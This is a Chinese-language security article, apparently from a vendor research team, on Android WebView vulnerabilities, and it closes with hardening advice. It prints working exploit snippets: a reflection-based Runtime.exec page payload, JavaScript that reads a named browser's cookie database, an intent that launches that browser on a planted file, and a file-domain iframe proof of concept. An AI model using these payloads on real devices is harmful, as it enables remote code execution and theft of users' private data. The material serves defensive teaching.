【腾讯御安全】Android 安全开发之 WebView 中的地雷

0X01 About WebView

在 Android 开发中，经常会使用 WebView 来实现 WEB 页面的展示，在 Activiry 中启动自己的浏览器，或者简单的展示一些在线内容等。WebView 功能强大，应用广泛，但它是天使与恶魔的合体，一方面它增强了 APP 的上网体验，让 APP 功能更多样化，另一方面它也引入了很多的安全问题。在过去几年 WebView 中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等，这些安全问题可以直接导致用户敏感信息泄露，移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题，罗列相关的一些案列，并提供相应安全开发建议。

0X02 WebView 任意代码执行漏洞

已知的 WebView 任意代码执行漏洞有 4 个。较早被公布是 CVE-2012-6636，揭露了 WebView 中 addJavascriptInterface 接口会引起远程代码执行漏洞。接着是 CVE-2013-4710，针对某些特定机型会存在 addJavascriptInterface API 引起的远程代码执行漏洞。之后

是 CVE-2014-1939 爆出 WebView 中内置导出的“searchBoxJavaBridge_”Java Object 可能被利用，实现远程任意代码。再后来是 CVE-2014-7224，类似于 CVE-2014-1939，WebView 内置导出“accessibility”和“accessibilityTraversal”两个 Java Object 接口，可被利用实现远程任意代码执行。

后文我们将围绕下面这段常见的示例代码展开：

```
WebView mWebView = (WebView)findViewById(R.id.webView);
①WebSettings msetting = mWebView.getSettings();
②msetting.setJavaScriptEnabled(true);
③mWebView.addJavascriptInterface(new TestAddJsInterface(),
"myjs");
④mWebView.loadUrl(getIntent().getStringExtra("url"));
```

CVE-2012-6636

Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互，在 WebView 控件中实现了 addJavascriptInterface 接口，对应示例代码中的③，网页中的 JS 脚本可以利用接口“myjs”调用 App 中的 Java 代码，而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在 JS 中被访问，结合 Java 的反射机制，攻击者还可以获得系统类的函数，进而可以进行任意代码执行。漏洞在 2013 年 8 月被披露后，很多 APP 都中招，其中浏览器 APP 成为重灾区。但截至目前任有很多 APP 中依然存在此漏洞，与以往不同的只是攻击入口发生了一

定的变化。另外我们也发现一些小厂商的 APP 开发团队因为缺乏安全意识，依然还在 APP 中随心所欲的使用 addjs 接口，明目张胆踩雷。出于安全考虑，Google 在 API 17 中规定允许被调用的函数必须以 @JavascriptInterface 进行注解，理论上如果 APP 依赖的 API 为 17 或者以上，就不会受该问题的影响。但部分机型上，API 17 依然受影响，并且如果 APP 存在此漏洞，且 targetsdk 小于 17，那漏洞的影响可以覆盖到 android4.4 的终端,如果大于等于 17，只能在 android4.2 的机型上触发，所以前一种情况的危害目前来看依旧很大。

CVE-2014-1939

在 2014 年发现在 Android4.4 以下的系统中，webkit 中默认内置了“searchBoxJavaBridge_”， 代码位于“java/android/webkit/BrowserFrame.java”，该接口同样存在远程代码执行的威胁。

CVE-2014-7224

在 2014 年，研究人员 Daoyuan Wu 和 Rocky Chang 发现，当系统辅助功能服务被开启时，在 Android4.4 以下的系统中，由系统提供的 WebView 组件都默认导出"accessibility" 和"accessibilityTraversal" 这两个接口 ,代码位于“android/webkit/AccessibilityInjector.java”，这两个接口同样存在远程任意代码执行的威胁。

常见挂马页面

```
function addJsHack(cmdArgs){
    for (var obj in window)
    { try {
            if ("getClass" in window[obj]) {
                try{
                    window[obj].getClass().forName("java.lang.Run
time").
                    getMethod("getRuntime",null).invoke(null,null).
exec(cmdArgs);;
                }catch(e){
                }
            }
        } catch(e) {
        }
    }
}
addJsHack()
```

扫码攻击

图片来自于某漏洞收集平台，通过二维码扫描触发 WebView 任意代码执行漏洞：

[redacted]手机客户端远程命令执行漏	中国银联
[redacted]机客户端远程命令执行漏	杭州贝购科技有限公司
[redacted]远程命令执行	中兴通讯股份有限公司
[redacted]器远程命令执行漏洞	北京傲游天下科技有限公司
[redacted]程命令执行漏洞	迅雷
[redacted]程命令执行漏洞	聚美优品

以聚美优品为例 Ver 3.305，APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C，相关代码位于 com.jm.android.jumei.controls.JuMeiCustomWebView.java 中：

```
public void initWebView(Activity activity, String str,
LinearLayout linearLayout, IWebViewNotify
iWebViewNotify) {
    ......
    this.wapView.addJavascriptInterface(new
WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);
}
```

0X03 WebView 密码明文存储漏洞

WebView 默认开启密码保存功能 mWebView.setSavePassword(true)，如果该功能未关闭，在用户输入密码时，会弹出提示框，询问用户是否保存密码，如果选择"是"，密

码会被明文保到

/data/data/com.package.name/databases/webview.db

0X04 WebView 域控制不严格漏洞

setAllowFileAccess

Android 中默认 mWebView.setAllowFileAccess(true) ,在 File 域下，能够执行任意的 JavaScript 代码 ,同源策略跨域访问能够对私有目录文件进行访问等。APP 对嵌入的 WebView 未对 file:/// 形式的 URL 做限制，会导致隐私信息泄露，针对 IM 类软件会导致聊天信息、联系人等等重要信息泄露，针对浏览器类软件，则更多的是 cookie 信息泄露。

setAllowFileAccessFromFileURLs

在 JELLY_BEAN 以前的版本默认是

setAllowFileAccessFromFileURLs(true),允许通过 file 域 url 中的

Javascript 读取其他本地文件 ,在 JELLY_BEAN 及以后的版本中默认已被是禁止。

setAllowUniversalAccessFromFileURLs

在 JELLY_BEAN 以前的版本默认是 setAllowUniversalAccessFromFileURLs(true),允许通过 file 域 url 中的 Javascript 访问其他的源，包括其他的本地文件和 http,https 源的数据。在 JELLY_BEAN 及以后的版本中默认已被禁止。

360 手机浏览器缺陷可导致用户敏感数据泄漏

以 360 手机浏览器 4.8 版本为例，由于未对 file 域做安全限制，恶意 APP 调用 360 浏览器加载本地的攻击页面（比如恶意 APP 释放到 SDCARD 上的一个 HTML）后，就可以获取 360 手机浏览器下的所有私有数据，包括 webviewCookiesChromium.db 下的 cookie 内容，攻击页面关键代码：

```
function getDatabase() {
      var request = false;
      if(window.XMLHttpRequest) {
        request = new XMLHttpRequest();
         if(request.overrideMimeType) {
                  request.overrideMimeType('text/xml');
           }
```

```
        }
        xmlhttp = request;
        var prefix =
"file:////data/data/com.qihoo.browser/databases";
        var postfix = "/webviewCookiesChromium.db"; //取保存
cookie 的 db
        var path = prefix.concat(postfix);
        // 获取本地文件代码
        xmlhttp.open("GET", path, false);
        xmlhttp.send(null);
        var ret = xmlhttp.responseText;
        return ret;
}
```

漏洞利用代码：

```
copyFile(); //自定义函数，释放 filehehe.html 到 sd 卡上
String url = "file:///mnt/sdcard/filehehe.html";
Intent contIntent = new Intent();
contIntent.setAction("android.intent.action.VIEW");
contIntent.setData(Uri.parse(url));
Intent intent = new Intent();
```

```
intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");
intent.setAction("android.intent.action.VIEW");
intent.setData(Uri.parse(url));
this.startActivity(intent);
```

0X05 WebView file 跨域漏洞

Android 2.3 webkit 或者浏览器 APP 自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞，导致允许从 http 域跨向 file 域，实现跨域漏洞。以某浏览器 4.5.0.511 版本为例，写一个 html，命名为 filereach.html，存放在服务器上。该浏览器 4.5.0.511 的 X5 内核存在 http 域跨 file 域的漏洞。POC 代码如下所示：

```
<iframe name=f src="www.baidu.com" ></iframe>
<script>
      function init(){
            f.location = "file:///default.prop";
      }
      setTimeout(init,5000)
</script>
```

在浏览器中打开服务器上的 filereach.html，将从 http 域跳转到 file 域

0X06 安全开发建议

1)建议开发者通过以下方式移除该 JavaScript 接口：

removeJavascriptInterface("searchBoxJavaBridge_")

removeJavascriptInterface("accessibility")；

removeJavascriptInterface("accessibilityTraversal")

2)出于安全考虑，为了防止 Java 层的函数被随便调用，Google 在 4.2 版本之后,规定允许被调用的函数必须以@JavascriptInterface 进行注解

3)通过 WebSettings.setSavePassword(false)关闭密码保存提醒功能

4)通过以下设置，防止越权访问，跨域等安全问题：

setAllowFileAccess(false)

setAllowFileAccessFromFileURLs(false)

setAllowUniversalAccessFromFileURLs(false)